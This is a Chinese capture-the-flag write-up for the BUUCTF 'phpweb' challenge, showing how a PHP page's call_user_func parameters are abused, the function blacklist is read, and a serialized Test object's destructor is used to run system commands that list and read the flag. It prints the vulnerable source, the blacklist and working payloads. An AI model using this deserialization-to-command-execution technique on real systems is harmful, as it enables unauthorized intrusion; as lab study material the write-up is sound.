BUUCTF--[网鼎杯 2020 朱雀组]phpweb

流程

打开靶场,可以看到以下内容,并且这个页面隔几秒就要刷新一次

查看页面源代码,没有发现什么隐藏信息

我们用bp抓包看看

我们可以知道这个页面是由post方式传递核心参数,并且我们发现一个重要内容

func=date&p=Y-m-d h:i:s a

而这个就是他为什么隔几秒就要刷新的原因,也是我们唯一的可见功能

func=date :告诉后端调用 PHP 内置的 date() 函数

p=Y-m-d h:i:s a :传给 date() 函数的参数,定义了时间的输出格式

func:传递要执行的 PHP 函数名

p:传递给该函数的参数

后端核心逻辑:通过call_user_func($func, $p)执行用户传入的函数,这是漏洞的核心入口。

我们将包发到Repeater进一步测试

我们直接尝试func=system&p=ls

可以看到被拦截了,说明后端存在过滤我们要找一个未被禁用的、且能读取文件内容的函数

我们尝试file_get_contents读取 index.php 源码

func=file_get_contents&p=index.php

得到源码

php 复制代码
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

要点:

严格的黑名单过滤 :主逻辑中,用户传入的func会被转为小写,再匹配禁用函数列表,几乎所有直接的命令执行、代码执行、回调函数都被封禁,包括systemcall_user_func

危险的回调执行gettime函数中直接使用call_user_func($func, $p)执行函数,无任何过滤

反序列化利用入口Test类的__destruct()析构函数,会在对象销毁时自动调用gettime($this->func, $this->p),且这里的 func 参数不会经过主逻辑的黑名单过滤,这是本题的核心突破点

未被禁用的关键函数unserialize反序列化函数不在黑名单中,可作为触发析构函数的入口

反序列化漏洞利用

漏洞原理

当我们传入func=unserialize&p=Test类的序列化字符串时,后端会执行unserialize($p),生成一个 Test 类的对象。当该对象执行完毕被销毁时,会自动触发__destruct()析构函数,执行我们在对象中预设的$this->func$this->p,且该过程不会经过主逻辑的黑名单检测,从而执行被封禁的system等命令执行函数。

步骤 1:构造序列化 Payload

我们需要构造一个 Test 类的实例,给func赋值为systemp赋值为要执行的系统命令,然后生成序列化字符串。PHP 序列化生成代码:

php 复制代码
<?php
class Test {
    public $func = "system";
    public $p = "ls /";
}
echo serialize(new Test());
?>

结果:

php 复制代码
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:4:"ls /";}

步骤 2:执行命令,查找 flag 路径

将序列化结果作为 p 参数的值,func 参数设为 unserialize,构造 POST 请求:

php 复制代码
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:19:"find / -name *flag*";}

可发现 flag 位于/tmp/flagoefiu4r93

步骤 3:读取 flag

修改命令为 cat 读取 flag 文件,最终 Payload:

php 复制代码
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

执行后,Repeater会直接返回 flag 内容。

由此的到最终flag

相关推荐
其实防守也摸鱼3 小时前
运维--怎么看接口的请求和返回
运维·学习·网络安全·网络攻击模型·burpsuite·攻防对抗·蓝队
云水一下9 小时前
DVWA从入门到精通(十八):Cryptography(密码学问题)
web安全·密码学·dvwa
菩提小狗10 小时前
每日安全情报报告 · 2026-07-09
网络安全·漏洞·cve·安全情报·每日安全
糖果店的幽灵10 小时前
安全测试从入门到精通 - 环境搭建与基础工具选择
安全·web安全
数据知道16 小时前
DNS 安全攻防:缓存投毒、DNS 隧道与检测实战
安全·网络安全·缓存·缓存投毒
其实防守也摸鱼1 天前
蓝队相关知识学习(1)---常用堡垒机和服务器
服务器·功能测试·学习·网络安全·网络攻击模型·攻防对抗·蓝队
云水一下1 天前
DVWA从入门到精通(十七):Open HTTP Redirect(开放重定向)
web安全·dvwa·开放重定向
学逆向的1 天前
汇编——数据存储模式
开发语言·汇编·网络安全
阿米亚波2 天前
【EVE-NG 实战】防火墙基础(VLAN · VRRP · NAT · ACL · 静态路由)
运维·网络·笔记·网络协议·计算机网络·网络安全·运维开发
txg6662 天前
网络安全领域简报(2026年7月3日—10日)
安全·web安全·网络安全